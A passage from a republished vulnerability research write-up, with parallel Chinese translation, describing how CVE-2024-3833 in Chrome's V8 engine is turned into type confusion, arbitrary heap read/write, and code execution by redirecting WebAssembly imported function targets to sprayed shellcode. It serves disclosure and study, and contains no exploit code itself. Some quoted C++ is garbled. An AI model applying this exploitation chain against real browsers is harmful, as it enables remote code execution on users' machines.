    Isolate* isolate, Handle module_object) {
  ...
  const WasmModule* module = module_object->module();

  int num_imported_functions = module->num_imported_functions;
  Handle imported_function_targets =
      FixedAddressArray::New(isolate, num_imported_functions);
  ...

Which is then used as the call target when the imported function is called. As this FixedAddressArray lives in the v8 heap, it can easily be modified once I’ve gained arbitrary read and write primitives in the v8 heap. I can therefore rewrite the imported function targets, so that when an imported function is called in WebAssembly code, it’ll jump to the address of some shell code that I prepared to gain code execution.

In particular, if the imported function is a Javascript Math function, then some wrapper code is compiled and used as a call target in imported_function_targets:


bool InstanceBuilder::ProcessImportedFunction(
    Handle trusted_instance_data, int import_index,
    int func_index, Handle module_name, Handle import_name,
    Handle value, WellKnownImport preknown_import) {
    ...
    default: {
      ...
      WasmCode* wasm_code = native_module->import_wrapper_cache()->Get(   //kind() == WasmCode::kWasmToJsWrapper) {
        ...
      } else {
        // Wasm math intrinsics are compiled as regular Wasm functions.
        DCHECK(kind >= ImportCallKind::kFirstMathIntrinsic &&
               kind instance_object(),  //instruction_start());
      }

As the compiled wrapper code is stored in the same rx region where other WebAssembly code compiled by the Liftoff compiler is stored, I can create WebAssembly functions that store numerical data, and rewrite the imported_function_targets to jump to the middle of these data so that they get interpreted as code and be executed. The idea is similar to that of JIT spraying, which was a method to bypass the heap sandbox, but has since been patched. As the wrapper code and the WebAssembly code that I compiled are in the same region, the offsets between them can be computed, this allows me to jump precisely to the data in the WebAssembly code that I crafted to execute arbitrary shell code.

The exploit can be found here with some set-up notes.

Conclusion

In this post, I’ve looked at CVE-2024-3833, a bug that allows duplicate properties to be created in a v8 object, which is similar to the bug CVE-2021-30561. While the method to exploit duplicate properties in CVE-2021-30561 is no longer available due to code hardening, I was able to exploit the bug in a different way.
在这篇文章中,我研究了 CVE-2024-3833,这是一个允许在 v8 对象中创建重复属性的错误,该错误与错误 CVE-2021-30561 类似。虽然由于代码强化,利用 CVE-2021-30561 中重复属性的方法不再可用,但我能够以不同的方式利用该错误。

  1. First transfer the duplicate properties into an inconsistency between an object’s PropertyArray and its map.
    首先将重复属性转换为对象的 PropertyArray 与其 map 之间的不一致。
  2. This then turns into an OOB write of the PropertyArray, which I then used to create a type confusion between a Javascript Object and a Javascript Array.
    然后,这会变成 PropertyArray 的 OOB 写入,然后我用它来创建 Javascript Object 和 Javascript Array 之间的类型混淆。
  3. Once such type confusion is achieved, I can rewrite the length of the type confused Javascript Array. This then becomes an OOB access in a Javascript Array.
    一旦实现了这种类型混淆,我就可以重写类型混淆的 Javascript Array 的 length 。然后,这将成为 Javascript Array 中的 OOB 访问。

Once an OOB access in an Javascript Array (corrupted_arr) is achieved, it is fairly standard to turn this into an arbitrary read and write inside the v8 heap. It essentially consists of the following steps:
一旦在 Javascript Array ( corrupted_arr ) 中实现 OOB 访问,将其转换为 v8 堆内的任意读写是相当标准的。它主要由以下步骤组成:

  1. First, place an Object Array after corrupted_arr, and use the OOB read primitive in corrupted_arr to read the addresses of the objects stored in this array. This allows me to obtain the address of any V8 object.
    首先,在 corrupted_arr 之后放置 Object Array ,并使用 corrupted_arr 中的 OOB read 原语读取存储在这个数组。这使我能够获取任何 V8 对象的地址。
  2. Place another double array, writeArr after corrupted_arr, and use the OOB write primitive in corrupted_arr to overwrite the element field of writeArr to an object address. Accessing the elements of writeArr then allows me to read/write to arbitrary addresses.
    在 corrupted_arr 之后放置另一个双精度数组 writeArr ,并使用 corrupted_arr 中的 OOB 写入原语覆盖 writeArr 字段 到对象地址。然后访问 writeArr 的元素允许我读取/写入任意地址。

As v8 has recently implemented the v8 heap sandbox, getting arbitrary memory read and write in the v8 heap is not sufficient to achieve code execution. In order to achieve code execution, I overwrite jump targets of WebAssembly imported functions, which were stored in the v8 heap. By rewriting the jump targets to locations of shell code, I can execute arbitrary code calling imported functions in a WebAssembly module.
由于v8最近实现了v8堆沙箱,在v8堆中获得任意内存读写并不足以实现代码执行。为了实现代码执行,我覆盖了存储在 v8 堆中的 WebAssembly 导入函数的跳转目标。通过将跳转目标重写到 shell 代码的位置,我可以执行调用 WebAssembly 模块中导入函数的任意代码。

原文始发于Man Yue Mo:Attack of the clones: Getting RCE in Chrome’s renderer with duplicate object properties

版权声明:admin 发表于 2024年7月8日 下午10:55。
转载请注明:Attack of the clones: Getting RCE in Chrome’s renderer with duplicate object properties | CTF导航

相关文章